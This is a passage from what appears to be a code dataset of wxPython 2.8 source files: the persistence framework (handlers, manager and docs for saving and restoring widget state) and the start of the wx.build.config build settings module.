\"TextEntryHandler\": (wx.TextEntryDialog, wx.PasswordEntryDialog),\n }\n\nif hasSB:\n HANDLERS[\"ToggleButtonHandler\"] += (SB.SToggleButton, SB.SBitmapToggleButton, SB.SBitmapTextToggleButton)\n\n# ----------------------------------------------------------------------------------- #\n\ndef FindHandler(pObject):\n \"\"\"\n Finds a suitable handler for the input Persistent Object depending on the widget kind.\n\n :param `pObject`: an instance of L{persistencemanager.PersistentObject} class.\n \"\"\"\n\n window = pObject.GetWindow()\n klass = window.__class__\n \n for handler, subclasses in STANDALONE_HANDLERS.items():\n for subclass in subclasses:\n if issubclass(klass, subclass):\n return eval(handler)(pObject)\n \n for handler, subclasses in HANDLERS.items():\n for subclass in subclasses:\n if issubclass(klass, subclass):\n return eval(handler)(pObject)\n\n raise Exception(\"Unsupported persistent handler (class=%s, name=%s)\"%(klass, window.GetName()))\n\n# ----------------------------------------------------------------------------------- #\n ", "id": "2467659", "language": "Python", "matching_score": 11.898801803588867, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/agw/persist/persist_handlers.py" }, { "content": "\"\"\"\nIntroduction\n============\n\nPersistent objects are simply the objects which automatically save their state\nwhen they are destroyed and restore it when they are recreated, even during\nanother program invocation.\n\n.. _persistent-overview:\n\nPersistent Object Overview\n==========================\n\nMost often, persistent objects are, in fact, persistent windows as it is especially\nconvenient to automatically restore the UI state when the program is restarted but\nan object of any class can be made persistent. Moreover, persistence is implemented\nin a non-intrusive way so that the original object class doesn't need to be modified\nat all in order to add support for saving and restoring its properties.\n\nThe persistence framework involves:\n\n* **PersistenceManager** which all persistent objects register themselves with. This class\n handles actual saving and restoring of persistent data as well as various global\n aspects of persistence, e.g. it can be used to disable restoring the saved data;\n* **PersistentObject** is the base class for all persistent objects or, rather, adaptors\n for the persistent objects as this class main purpose is to provide the bridge between\n the original class -- which has no special persistence support -- and PersistenceManager;\n* **PersistentHandlers** which handle different kind of saving/restoring actions depending\n on the widget kind.\n \n\nUsing Persistent Windows\n========================\n\nwxPython has built-in support for a (constantly growing) number of controls. Currently the\nfollowing classes are supported:\n\n* wx.TopLevelWindow (and hence wx.Frame and wx.Dialog, together with their own AUI perspectives);\n* wx.MenuBar, L{flatmenu.FlatMenuBar};\n* L{auibar.AuiToolBar};\n* wx.Notebook, wx.Toolbook, wx.Treebook, wx.Choicebook, wx.aui.AuiNotebook,\n L{auibook.AuiNotebook} (together with its own AUI perspective),\n L{flatnotebook.FlatNotebook}, L{labelbook.LabelBook},\n L{labelbook.FlatImageBook};\n* wx.CheckBox;\n* wx.ListBox, wx.VListBox, wx.HtmlListBox, wx.SimpleHtmlListBox, wx.gizmos.EditableListBox;\n* wx.ListCtrl, wx.ListView;\n* wx.CheckListBox;\n* wx.Choice, wx.ComboBox, wx.combo.OwnerDrawnComboBox;\n* wx.RadioBox;\n* wx.RadioButton;\n* wx.ScrolledWindow, wx.lib.scrolledpanel.ScrolledPanel;\n* wx.Slider, L{knobctrl.KnobCtrl};\n* wx.SpinButton, wx.SpinCtrl, L{floatspin.FloatSpin};\n* wx.SplitterWindow;\n* wx.TextCtrl, wx.SearchCtrl, wx.lib.expando.ExpandoTextCtrl, wx.lib.masked.Ctrl;\n* wx.ToggleButton, wx.lib.buttons.GenToggleButton, wx.lib.buttons.GenBitmapToggleButton,\n wx.lib.buttons.GenBitmapTextToggleButton, L{shapedbutton.SToggleButton},\n L{shapedbutton.SBitmapToggleButton}, L{shapedbutton.SBitmapTextToggleButton};\n* wx.TreeCtrl, wx.GenericDirCtrl, L{customtreectrl.CustomTreeCtrl};\n* wx.gizmos.TreeListCtrl, L{hypertreelist.HyperTreeList};\n* wx.lib.calendar.CalendarCtrl;\n* wx.CollapsiblePane;\n* wx.DatePickerCtrl, wx.GenericDatePickerCtrl;\n* wx.media.MediaCtrl;\n* wx.ColourPickerCtrl, wx.lib.colourselect.ColourSelect;\n* wx.FilePickerCtrl, wx.DirPickerCtrl;\n* wx.FontPickerCtrl;\n* wx.FileHistory;\n* wx.DirDialog, wx.FileDialog;\n* wx.FindReplaceDialog;\n* wx.FontDialog;\n* wx.ColourDialog, L{cubecolourdialog.CubeColourDialog};\n* L{foldpanelbar.FoldPanelBar};\n* wx.SingleChoiceDialog, wx.MultiChoiceDialog;\n* wx.TextEntryDialog, wx.PasswordEntryDialog.\n\n\nTo automatically save and restore the properties of the windows of classes listed\nabove you need to:\n\n* Set a unique name for the window using `SetName()`: this step is important as the\n name is used in the configuration file and so must be unique among all windows of\n the same class;\n* Call `PersistenceManager.Register(window)` at any moment after creating the window\n and then `PersistenceManager.Restore(window)` when the settings may be restored\n (which can't be always done immediately, e.g. often the window needs to be populated\n first). If settings can be restored immediately after the window creation, as is often\n the case for wx.TopLevelWindow, for example, then `PersistenceManager.RegisterAndRestore(window)`\n can be used to do both at once.\n* If you want the settings for the window to be saved when your main frame is destroyed (or your app closes), simply call\n `PersistenceManager.SaveAndUnregister(window)` with no arguments.\n\n\nUsage\n=====\n\nExample of using a notebook control which automatically remembers the last open page::\n\n book = wx.Notebook(parent, wx.ID_ANY)\n book.SetName(\"MyBook\") # Do not use the default name!!\n book.AddPage(page1)\n book.AddPage(page2)\n book.AddPage(page3)\n \n if not PersistenceManager.RegisterAndRestore(book):\n # Nothing was restored, so choose the default page ourselves\n book.SetSelection(0)\n\n\n.. _persistent-windows:\n \nDefining Custom Persistent Windows\n==================================\n\nUser-defined classes can be easily integrated with PersistenceManager. To add support\nfor your custom class MyWidget you just need to:\n\n* Define a MyWidgetHandler class inheriting from `AbstractHandler`;\n* Implement its `GetKind()` method returning a unique string identifying all MyWidget\n objects, typically something like \"widget\";\n* Implement its `Save()` and `Restore()` methods to actually save and restore the widget\n settings using `PersistentObject.SaveValue()` and `PersistentObject.RestoreValue()` methods.\n \nIf you want to add persistence support for a class not deriving from wx.Window, you need\nto derive MyPersistentWidget directly from PersistentObject and so implement its\n`PersistentObject.GetName()` method too. Additionally, you must ensure that\n`PersistenceManager.SaveAndUnregister()` is called when your object is destroyed as this\ncan be only done automatically for windows.\n\n\nTODOs\n=====\n\n* Find a way to handle `wx.ToolBar` UI settings as it has been done for L{auibar.AuiToolBar}:\n current `wx.ToolBar` doesn't seem to have easy access to the underlying toolbar tools;\n* Implement handler(s) for `wx.grid.Grid` for row/columns sizes (possibly adding another style\n to `PersistenceManager` as `wx.grid.Grid` sets up arrays to store individual row and column\n sizes when non-default sizes are used. The memory requirements for this could become prohibitive\n if the grid is very large);\n* Find a way to properly save and restore dialog data (`wx.ColourDialog`, `wx.FontDialog` etc...);\n* Add handlers for the remaining widgets not yet wrapped (mostly in `wx.lib`).\n\n\nLicense And Version\n===================\n\nPersistentObjects library is distributed under the wxPython license. \n\nLatest revision: Andrea Gavana @ 28 Jan 2011, 15.00 GMT\nVersion 0.2. \n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__date__ = \"16 November 2009\"\n\n\nfrom persist_constants import *\nfrom persistencemanager import *\nfrom persist_handlers import *\n\n", "id": "1785619", "language": "Python", "matching_score": 5.279500484466553, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/agw/persist/__init__.py" }, { "content": "# --------------------------------------------------------------------------- #\n# PersistentControls Library wxPython IMPLEMENTATION\n#\n# Inspired by the wxWidgets implementation by <NAME>.\n#\n# License: wxWidgets license\n#\n# Python Code By:\n#\n# <NAME>, @ 16 Nov 2009\n# Latest Revision: 28 Jan 2011, 15.00 GMT\n#\n# For All Kind Of Problems, Requests Of Enhancements And Bug Reports, Please\n# Write To Me At:\n#\n# <EMAIL>\n# <EMAIL>\n#\n# Or, Obviously, To The wxPython Mailing List!!!\n#\n# End Of Comments\n# --------------------------------------------------------------------------- #\n\n\"\"\"\nThis module contains the definitions of `PersistentObject` and `PersistenceManager` objects.\n\"\"\"\n\nimport wx\nimport os\nimport warnings\nimport datetime\n\nimport wx.gizmos\n\nfrom persist_handlers import FindHandler\n\nfrom persist_constants import BAD_DEFAULT_NAMES, CONFIG_PATH_SEPARATOR\nfrom persist_constants import PM_DEFAULT_STYLE\n\n# ----------------------------------------------------------------------------------- #\n\nclass PersistentObject(object):\n \"\"\"\n PersistentObject: ABC for anything persistent.\n\n This is the base class for persistent object adapters.\n wxPython persistence framework is non-intrusive, i.e. can work with the\n classes which have no relationship to nor knowledge of it. To allow this,\n an intermediate persistence adapter is used: this is just a simple object\n which provides the methods used by L{PersistenceManager} to save and restore\n the object properties and implements them using the concrete class methods.\n\n You may derive your own classes from L{PersistentObject} to implement persistence\n support for your common classes, see :ref:`persistent-windows` in the\n `__init__.py` file.\n \"\"\"\n \n def __init__(self, window, persistenceHandler=None):\n \"\"\"\n Default class constructor.\n\n :param `window`: an instance of `wx.Window`;\n :param `persistenceHandler`: if not ``None``, this should a custom handler derived\n from L{persist_handlers.AbstractHandler}.\n \"\"\"\n\n self._name = window.GetName()\n\n if not self._name.strip():\n raise Exception(\"Persistent windows should be named! (class=%s)\"%window.__class__)\n\n klass = window.__class__\n if issubclass(klass, wx.GenericDirCtrl):\n self._window = window.GetTreeCtrl()\n elif issubclass(klass, wx.gizmos.EditableListBox):\n self._window = window.GetListCtrl()\n else:\n self._window = window\n\n if persistenceHandler is not None:\n self._persistentHandler = persistenceHandler(self)\n else:\n self._persistentHandler = FindHandler(self)\n \n if self._name in BAD_DEFAULT_NAMES:\n warnings.warn(\"Window names should not be defaulted! (class=%s, name=%s)\"%(window.__class__, window.GetName()))\n\n\n def GetName(self):\n \"\"\"\n Returns the string uniquely identifying the window we're associated with\n among all the other objects of the same type.\n \n :note: This method is used together with L{GetKind} to construct the unique\n full name of the object in e.g. a configuration file.\n \"\"\"\n\n return self._name\n\n\n def GetWindow(self):\n \"\"\" Returns the actual associated window. \"\"\"\n\n return self._window\n\n\n def GetKind(self):\n \"\"\"\n Returns the string uniquely identifying the objects supported by this adapter.\n\n :note: This method is called from L{SaveValue} and L{RestoreValue} and normally\n returns some short (but not too cryptic) strings, e.g. \"Checkbox\".\n \"\"\"\n\n return self._persistentHandler.GetKind()\n \n\n def Save(self):\n \"\"\"\n Saves the corresponding window settings. \n\n :note: This method shouldn't be used directly as it doesn't respect the\n global L{PersistenceManager.DisableSaving} settings, use L{PersistenceManager}\n methods with the same name instead.\n \"\"\"\n\n self._persistentHandler.Save()\n \n\n def Restore(self):\n \"\"\"\n Restores the corresponding window settings. \n\n :note: This method shouldn't be used directly as it doesn't respect the\n global L{PersistenceManager.DisableRestoring} settings, use L{PersistenceManager}\n methods with the same name instead.\n \"\"\"\n\n self._persistentHandler.Restore()\n\n\n def SaveValue(self, name, value):\n \"\"\"\n Save the specified value using the given name.\n \n :param `name`: the name of the value in the configuration file.\n :param `value`: the value to save.\n\n :returns: ``True`` if the value was saved or ``False`` if an error occurred.\n \"\"\"\n \n return PersistenceManager.Get().SaveValue(self, name, value)\n\n\n def RestoreValue(self, name):\n \"\"\"\n Restore the value saved by L{Save}.\n \n :param `name`: the same name as was used by L{Save}.\n\n :returns: ``True`` if the value was successfully read or ``False`` if it was not\n found or an error occurred.\n \"\"\"\n\n return PersistenceManager.Get().RestoreValue(self, name)\n\n# ----------------------------------------------------------------------------------- #\n\nclass PersistenceManager(object):\n \"\"\"\n PersistenceManager: global aspects of persistent windows.\n\n Provides support for automatically saving and restoring object properties\n to persistent storage.\n\n This class is the central element of wxPython persistence framework, see\n the :ref:`persistent-overview` in the `__init__.py` file for its overview.\n\n This is a singleton class and its unique instance can be retrieved using L{PersistenceManager.Get}\n method.\n \"\"\"\n \n def __init__(self):\n \"\"\"\n Default class constructor.\n\n This method should **not** be called directly: you should use the object\n obtained by L{PersistenceManager.Get} and assign manager styles, custom\n configuration files and custom configuration handlers using the appropriate\n methods in this class.\n\n Interesting attributes you can set for this class are:\n \n - `configFile`: the persistent configuration file for L{PersistenceManager},\n a custom file name to which `wx.FileConfig` will access to store and\n retrieve UI settings;\n - `configKey`: the persistent key name inside the configuration file for\n L{PersistenceManager};\n - `customConfigHandler`: the persistent configuration handler for L{PersistenceManager};\n this attribute is object capable of saving/restoring UI settings. This\n can be a cPickle object or a ConfigObj one, for example.\n - `style`: a combination of the following values:\n\n ======================================== ==================================\n Flag name Description\n ======================================== ==================================\n ``PM_SAVE_RESTORE_AUI_PERSPECTIVES`` If a toplevel window has an AUI manager associated, the manager will save and restore its AUI perspective\n ``PM_SAVE_RESTORE_TREE_LIST_SELECTIONS`` If set, the manager will save items selections in list and tree controls\n ``PM_DEFAULT_STYLE`` Same as ``PM_SAVE_RESTORE_AUI_PERSPECTIVES``\n ======================================== ==================================\n \n :note: UI settings are stored as dictionaries key <=> tuple: the tuple value\n contains two items. The first is the value *type* (i.e., float, int, bool etc...)\n while the second is the actual key value.\n \n \"\"\"\n\n object.__init__(self)\n\n # Specifies custom wx.Config object to use (i.e., custom file names)\n self._configFile = None\n\n # Specifies custom key in the wx.Config object to use\n self._configKey = None\n \n # Specifies whether a custom config handler exists, so that we will not use\n # wx.FileConfig (i.e., ConfigObj, ConfigParser etc...)\n self._customConfigHandler = None\n \n # Specifies the PersistenceManager style\n self._style = PM_DEFAULT_STYLE\n \n # Set these values to True if we should restore/save the settings (it doesn't\n # make much sense to use this class when both of them are False but setting\n # one of them to False may make sense in some situations)\n self._doSave = True\n self._doRestore = True\n\n # map with the registered objects as keys and associated\n # PersistentObjects as values \n self._persistentObjects = {}\n \n\n def Get(self):\n \"\"\" Accessor to the unique persistence manager object. \"\"\"\n\n if not hasattr(self, \"_instance\"): \n self._instance = PersistenceManager()\n\n return self._instance\n\n Get = classmethod(Get)\n\n \n def Free(self):\n \"\"\" Destructor for the unique persistence manager object. \"\"\"\n\n if hasattr(self, \"_instance\"): \n del self._instance\n\n Free = classmethod(Free)\n\n\n def GetManagerStyle(self):\n \"\"\"\n Returns the L{PersistenceManager} style.\n\n :see: L{SetManagerStyle} for a list of possible styles.\n \"\"\"\n \n return self._style \n\n\n def SetManagerStyle(self, style):\n \"\"\"\n Sets the L{PersistenceManager} style.\n\n :param `style`: a combination of the following values:\n\n ======================================== ==================================\n Flag name Description\n ======================================== ==================================\n ``PM_SAVE_RESTORE_AUI_PERSPECTIVES`` If a toplevel window has an AUI manager associated, the manager will save and restore its AUI perspective\n ``PM_SAVE_RESTORE_TREE_LIST_SELECTIONS`` If set, the manager will save items selections in list and tree controls\n ``PM_DEFAULT_STYLE`` Same as ``PM_SAVE_RESTORE_AUI_PERSPECTIVES``. \n ======================================== ==================================\n \"\"\"\n\n self._style = style\n \n \n def SetPersistenceKey(self, key):\n \"\"\"\n Sets the persistent key name inside the configuration file for L{PersistenceManager}.\n\n :param `key`: a short meaningful name for your unique preferences key.\n\n :note: Calling this method has no influence if you are using your own\n custom configuration handler (i.e., by using ConfigObj/ConfigParser/cPickle etc...). \n \"\"\"\n\n self._configKey = key\n \n\n def GetPersistenceKey(self):\n \"\"\"\n Returns the persistent key name inside the configuration file for L{PersistenceManager}.\n\n :note: The return value of this method is not used if you are using your own\n custom configuration handler (i.e., by using ConfigObj/ConfigParser/cPickle etc...).\n \"\"\"\n\n return self._configKey\n\n\n def SetPersistenceFile(self, fileName):\n \"\"\"\n Sets the persistent configuration file for L{PersistenceManager}.\n\n :param `fileName`: the file name where to store the persistent options.\n\n :note: Calling this method has no influence if you are using your own\n custom configuration handler (i.e., by using ConfigObj/ConfigParser/cPickle etc...).\n \"\"\"\n\n self._configFile = fileName\n \n\n def GetPersistenceFile(self):\n \"\"\"\n Returns the persistent configuration file for L{PersistenceManager}.\n\n :note: The return value of this method is not used if you are using your own\n custom configuration handler (i.e., by using ConfigObj/ConfigParser/cPickle etc...).\n \"\"\"\n\n if self._configFile is not None:\n persistenceDir, fileName = os.path.split(self._configFile)\n fileName = self._configFile\n else:\n persistenceDir = self.GetPersistenceDirectory()\n fileName = \"Persistence_Options\"\n \n fileName = os.path.join(persistenceDir, fileName)\n\n if not os.path.exists(persistenceDir):\n # Create the data folder, it still doesn't exist\n os.makedirs(persistenceDir)\n\n config = wx.FileConfig(localFilename=fileName)\n return config\n\n\n def SetConfigurationHandler(self, handler):\n \"\"\"\n Sets the persistent configuration handler for L{PersistenceManager}.\n\n :param `handler`: an object capable of saving/restoring UI settings. This\n can be a cPickle object or a ConfigObj one, for example.\n\n :note: UI settings are stored as dictionaries key <=> tuple: the tuple value\n contains two items. The first is the value *type* (i.e., float, int, bool etc...)\n while the second is the actual key value.\n \"\"\"\n\n self._customConfigHandler = handler\n \n\n def GetConfigurationHandler(self):\n \"\"\"\n Returns the persistent configuration handler for L{PersistenceManager}.\n \"\"\"\n\n return self._customConfigHandler \n\n \n def GetPersistenceDirectory(self):\n \"\"\"\n Returns a default persistent option directory for L{PersistenceManager}.\n\n :note: The return value of this method is not used if you are using your own\n custom configuration handler (i.e., by using ConfigObj/ConfigParser/cPickle etc...)\n or if you have specified a custom configuration file to use with `wx.FileConfig`.\n \"\"\"\n \n sp = wx.StandardPaths.Get()\n return sp.GetUserDataDir()\n\n\n def Find(self, window):\n \"\"\"\n Checks if the object is registered and return the associated L{PersistentObject}\n if it is or ``None`` otherwise.\n\n :param `window`: an instance of `wx.Window`.\n \"\"\"\n \n if window.GetName() in self._persistentObjects:\n return window\n \n\n def Register(self, window, persistenceHandler=None):\n \"\"\"\n Register an object with the manager.\n\n :param `window`: an instance of `wx.Window`;\n :param `persistenceHandler`: if not ``None``, this should a custom handler derived\n from L{persist_handlers.AbstractHandler}.\n\n :note: Note that registering the object doesn't do anything except allowing to call\n L{Restore} for it later. If you want to register the object and restore its\n properties, use L{RegisterAndRestore}.\n\n :note: The manager takes ownership of the L{PersistentObject} and will delete it when\n it is unregistered. \n \"\"\"\n \n if self.Find(window):\n raise Exception(\"Object (class=%s, name=%s) is already registered\"%(window.__class__, window.GetName()))\n\n name = window.GetName()\n self._persistentObjects[name] = PersistentObject(window, persistenceHandler)\n\n return True\n \n\n def Unregister(self, window):\n \"\"\"\n Unregister the object, this is called by L{PersistentObject} itself so there is\n usually no need to do it explicitly.\n\n :param `window`: an instance of `wx.Window`, which must have been previously\n registered with L{Register}.\n\n :note: For the persistent windows this is done automatically (via L{SaveAndUnregister})\n when the window is destroyed so you only need to call this function explicitly if you\n are using custom persistent objects or if you want to prevent the object properties\n from being saved.\n \n :note: This deletes the associated L{PersistentObject}.\n \"\"\"\n \n if not self.Find(window):\n return False\n\n name = window.GetName()\n self._persistentObjects.pop(name)\n\n return True\n \n\n def Save(self, window):\n \"\"\"\n Saves the state of an object.\n\n :param `window`: an instance of `wx.Window`.\n \n :note: This methods does nothing if L{DisableSaving} was called.\n \"\"\"\n \n if not self._doSave:\n return False\n\n if not self.Find(window):\n return False\n\n name = window.GetName()\n self._persistentObjects[name].Save()\n \n return True\n \n \n def Restore(self, window):\n \"\"\"\n Restores the state of an object.\n\n :param `window`: an instance of `wx.Window`.\n\n :returns: ``True`` if the object properties were restored or ``False`` if nothing\n was found to restore or the saved settings were invalid.\n\n :note: This methods does nothing if L{DisableRestoring} was called.\n \"\"\"\n\n if not self._doRestore:\n return False\n\n if not self.Find(window):\n return False\n\n name = window.GetName()\n self._persistentObjects[name].Restore()\n\n return True\n \n\n def DisableSaving(self):\n \"\"\"\n Globally disables saving the persistent properties (enabled by default).\n\n :note: By default, saving properties in L{Save} is enabled but the program\n may wish to disable if, for example, it detects that it is running on a\n system which shouldn't be modified in any way and so configuration file\n (or Windows registry) shouldn't be written to.\n \"\"\"\n \n self._doSave = False\n\n\n def DisableRestoring(self):\n \"\"\"\n Globally disables restoring the persistent properties (enabled by default).\n\n :note: By default, restoring properties in L{Restore} is enabled but this\n function allows to disable it. This is mostly useful for testing.\n \"\"\"\n \n self._doRestore = False\n\n\n def EnableSaving(self):\n \"\"\"\n Globally enables saving the persistent properties (enabled by default).\n\n :note: By default, saving properties in L{Save} is enabled but the program\n may wish to disable if, for example, it detects that it is running on a\n system which shouldn't be modified in any way and so configuration file\n (or Windows registry) shouldn't be written to. \n \"\"\"\n \n self._doSave = True\n\n\n def EnableRestoring(self):\n \"\"\"\n Globally enables restoring the persistent properties (enabled by default).\n\n :note: By default, restoring properties in L{Restore} is enabled but this\n function allows to disable it. This is mostly useful for testing.\n \"\"\"\n \n self._doRestore = True\n\n\n def SaveAndUnregister(self, window=None):\n \"\"\"\n Combines both L{Save} and L{Unregister} calls.\n\n :param `window`: an instance of `wx.Window`. If it is ``None``, all the\n windows previously registered are saved and then unregistered.\n \"\"\"\n\n if window is None:\n for name, obj in self._persistentObjects.items():\n self.SaveAndUnregister(obj.GetWindow())\n\n return\n\n self.Save(window)\n self.Unregister(window)\n\n\n def RegisterAndRestore(self, window):\n \"\"\"\n Combines both L{Register} and L{Restore} calls.\n\n :param `window`: an instance of `wx.Window`.\n \"\"\"\n \n return self.Register(window) and self.Restore(window)\n\n\n def GetKey(self, obj, keyName):\n \"\"\"\n Returns a correctly formatted key name for the object `obj` and `keyName` parameters.\n\n :param `obj`: an instance of L{PersistentObject};\n :param `keyName`: a string specifying the key name.\n\n \"\"\"\n\n key = (self._configKey is None and [\"Persistence_Options\"] or [self._configKey])[0] \n \n key += CONFIG_PATH_SEPARATOR + obj.GetKind()\n key += CONFIG_PATH_SEPARATOR + obj.GetName()\n key += CONFIG_PATH_SEPARATOR + keyName\n \n return key\n\n \n def SaveValue(self, obj, keyName, value):\n \"\"\"\n Method used by the persistent objects to save the data.\n\n By default this method simply use `wx.FileConfig` but this behaviour may be\n overridden by passing a custom configuration handler in the L{PersistenceManager}\n constructor.\n\n :param `obj`: an instance of L{PersistentObject};\n :param `keyName`: a string specifying the key name;\n :param `value`: the value to store in the configuration file.\n \n \"\"\"\n\n kind = repr(value.__class__).split(\"'\")[1]\n \n if self._customConfigHandler is not None:\n result = self._customConfigHandler.SaveValue(self.GetKey(obj, keyName), repr((kind, str(value))))\n else:\n config = self.GetPersistenceFile()\n result = config.Write(self.GetKey(obj, keyName), repr((kind, str(value))))\n config.Flush()\n\n return result \n \n\n def RestoreValue(self, obj, keyName):\n \"\"\"\n Method used by the persistent objects to restore the data.\n \n By default this method simply use `wx.FileConfig` but this behaviour may be\n overridden by passing a custom config handler in the PersistenceManager\n constructor.\n\n :param `obj`: an instance of L{PersistentObject};\n :param `keyName`: a string specifying the key name.\n \"\"\"\n\n if self._customConfigHandler is not None:\n result = self._customConfigHandler.RestoreValue(self.GetKey(obj, keyName))\n else:\n config = self.GetPersistenceFile()\n result = config.Read(self.GetKey(obj, keyName))\n\n if result:\n kind, result = eval(result)\n if kind in (\"unicode\", \"str\"):\n return result\n elif kind == \"datetime.date\":\n y, m, d = result.split(\"-\")\n result = datetime.date(int(y), int(m), int(d))\n return result\n \n return eval(result)\n\n \n", "id": "11534157", "language": "Python", "matching_score": 2.2676594257354736, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/agw/persist/persistencemanager.py" }, { "content": "#----------------------------------------------------------------------\n# Name: wx.build.config\n# Purpose: Most of the contents of this module used to be located \n# in wxPython's setup.py script. It was moved here so\n# it would be installed with the rest of wxPython and\n# could therefore be used by the setup.py for other\n# projects that needed this same info and functionality\n# (most likely in order to be compatible with wxPython.)\n#\n# This split from setup.py is still fairly rough, and\n# some things may still get shuffled back and forth,\n# refactored, etc. Please send me any comments and\n# suggestions about this.\n#\n# Author: <NAME>\n#\n# Created: 23-March-2004\n# RCS-ID: $Id: config.py 67474 2011-04-13 18:22:14Z RD $\n# Copyright: (c) 2004 by Total Control Software\n# Licence: wxWindows license\n#----------------------------------------------------------------------\n\nimport sys, os, glob, fnmatch, tempfile\n\nEGGing = 'bdist_egg' in sys.argv or 'egg_info' in sys.argv\nif not EGGing:\n from distutils.core import setup, Extension\nelse:\n # EXPERIMENTAL Egg support...\n try:\n from setuptools import setup, Extension\n except ImportError:\n print \"Setuptools must be installed to build an egg\"\n sys.exit(1)\n\nfrom distutils.file_util import copy_file\nfrom distutils.dir_util import mkpath\nfrom distutils.dep_util import newer\nfrom distutils.spawn import spawn\n\nimport distutils.command.install\nimport distutils.command.install_data\nimport distutils.command.install_headers\nimport distutils.command.clean\n\n#----------------------------------------------------------------------\n# flags and values that affect this script\n#----------------------------------------------------------------------\n\nVER_MAJOR = 2 # The first three must match wxWidgets\nVER_MINOR = 8\nVER_RELEASE = 12\nVER_SUBREL = 1 # wxPython release num for x.y.z release of wxWidgets\nVER_FLAGS = \"\" # release flags, such as prerelease or RC num, etc.\n\nDESCRIPTION = \"Cross platform GUI toolkit for Python\"\nAUTHOR = \"<NAME>\"\nAUTHOR_EMAIL = \"<NAME> <<EMAIL>>\"\nURL = \"http://wxPython.org/\"\nDOWNLOAD_URL = \"http://wxPython.org/download.php\"\nLICENSE = \"wxWidgets Library License (LGPL derivative)\"\nPLATFORMS = \"WIN32,OSX,POSIX\"\nKEYWORDS = \"GUI,wx,wxWindows,wxWidgets,cross-platform,awesome\"\n\nLONG_DESCRIPTION = \"\"\"\\\nwxPython is a GUI toolkit for Python that is a wrapper around the\nwxWidgets C++ GUI library. wxPython provides a large variety of\nwindow types and controls, all implemented with a native look and\nfeel (by using the native widgets) on the platforms upon which it is\nsupported.\n\"\"\"\n\nCLASSIFIERS = \"\"\"\\\nDevelopment Status :: 6 - Mature\nEnvironment :: MacOS X :: Carbon\nEnvironment :: Win32 (MS Windows)\nEnvironment :: X11 Applications :: GTK\nIntended Audience :: Developers\nLicense :: OSI Approved\nOperating System :: MacOS :: MacOS X\nOperating System :: Microsoft :: Windows :: Windows 98/2000/XP/Vista\nOperating System :: POSIX\nProgramming Language :: Python\nTopic :: Software Development :: User Interfaces\n\"\"\"\n\n## License :: OSI Approved :: wxWidgets Library Licence\n\n\n# Config values below this point can be reset on the setup.py command line.\n\nBUILD_GLCANVAS = 1 # If true, build the contrib/glcanvas extension module\nBUILD_OGL = 0 # If true, build the contrib/ogl extension module\nBUILD_STC = 1 # If true, build the contrib/stc extension module\nBUILD_GIZMOS = 1 # Build a module for the gizmos contrib library\nBUILD_DLLWIDGET = 0# Build a module that enables unknown wx widgets\n # to be loaded from a DLL and to be used from Python.\n\n # Internet Explorer wrapper (experimental)\nBUILD_ACTIVEX = (os.name == 'nt') # and os.environ.get('CPU',None) != 'AMD64') \n\n\nCORE_ONLY = 0 # if true, don't build any of the above\n\nPREP_ONLY = 0 # Only run the prepatory steps, not the actual build.\n\nUSE_SWIG = 0 # Should we actually execute SWIG, or just use the\n # files already in the distribution?\n\nSWIG = \"swig\" # The swig executable to use.\n\nBUILD_RENAMERS = 0 # Should we build the renamer modules too?\n\nFULL_DOCS = 0 # Some docstrings are split into a basic docstring and a\n # details string. Setting this flag to 1 will\n # cause the two strings to be combined and output\n # as the full docstring.\n\nUNICODE = 1 # This will pass the 'wxUSE_UNICODE' flag to SWIG and\n # will ensure that the right headers are found and the\n # right libs are linked.\n\nUNDEF_NDEBUG = 1 # Python 2.2 on Unix/Linux by default defines NDEBUG,\n # and distutils will pick this up and use it on the\n # compile command-line for the extensions. This could\n # conflict with how wxWidgets was built. If NDEBUG is\n # set then wxWidgets' __WXDEBUG__ setting will be turned\n # off. If wxWidgets was actually built with it turned\n # on then you end up with mismatched class structures,\n # and wxPython will crash.\n\nNO_SCRIPTS = 0 # Don't install the tool scripts\nNO_HEADERS = 0 # Don't install the wxPython *.h and *.i files\n\nINSTALL_MULTIVERSION = 1 # Install the packages such that multiple versions\n # can co-exist. When turned on the wx and wxPython\n # pacakges will be installed in a versioned subdir\n # of site-packages, and a *.pth file will be\n # created that adds that dir to the sys.path. In\n # addition, a wxselect.py module will be installed\n # to site-pacakges that will allow applications to\n # choose a specific version if more than one is\n # installed.\n \nFLAVOUR = \"\" # Optional flavour string to be appended to VERSION\n # in MULTIVERSION installs\n\nEP_ADD_OPTS = 1 # When doing MULTIVERSION installs the wx port and\n # ansi/unicode settings can optionally be added to the\n # subdir path used in site-packages\n\nEP_FULL_VER = 0 # When doing MULTIVERSION installs the default is to\n # put only 2 or 3 (depending on stable/unstable) of\n # the version compnonents into the \"extra path\"\n # subdir of site-packages. Setting this option to\n # 1 will cause the full 4 components of the version\n # number to be used instead.\n \nWX_CONFIG = None # Usually you shouldn't need to touch this, but you can set\n # it to pass an alternate version of wx-config or alternate\n # flags, eg. as required by the .deb in-tree build. By\n # default a wx-config command will be assembled based on\n # version, port, etc. and it will be looked for on the\n # default $PATH.\n\nSYS_WX_CONFIG = None # When installing an in tree build, setup.py uses wx-config\n # for two different purposes. First, to determine the prefix\n # where files will be installed, and secondly, to initialise\n # build_options.py with the correct options for it.\n # WX_CONFIG is used for the first task. SYS_WX_CONFIG may\n # be set independently, to the value that should appear in\n # build_options.py, if it is different to that. The default\n # is to use the value of WX_CONFIG.\n\nWXPORT = 'gtk2' # On Linux/Unix there are several ports of wxWidgets available.\n # Setting this value lets you select which will be used for\n # the wxPython build. Possibilites are 'gtk', 'gtk2' and\n # 'x11'. Currently only gtk and gtk2 works.\n\nBUILD_BASE = \"build\" # Directory to use for temporary build files.\n # This name will be appended to if the WXPORT or\n # the UNICODE flags are set to non-standard\n # values. See below.\n\n\nCONTRIBS_INC = \"\" # A dir to add as an -I flag when compiling the contribs\n\n\n# Some MSW build settings\n\nMONOLITHIC = 0 # The core wxWidgets lib can be built as either a\n # single monolithic DLL or as a collection of DLLs.\n # This flag controls which set of libs will be used\n # on Windows. (For other platforms it is automatic\n # via using wx-config.)\n\nFINAL = 0 # Will use the release version of the wxWidgets libs on MSW.\n\nHYBRID = 1 # Will use the \"hybrid\" version of the wxWidgets\n # libs on MSW. A \"hybrid\" build is one that is\n # basically a release build, but that also defines\n # __WXDEBUG__ to activate the runtime checks and\n # assertions in the 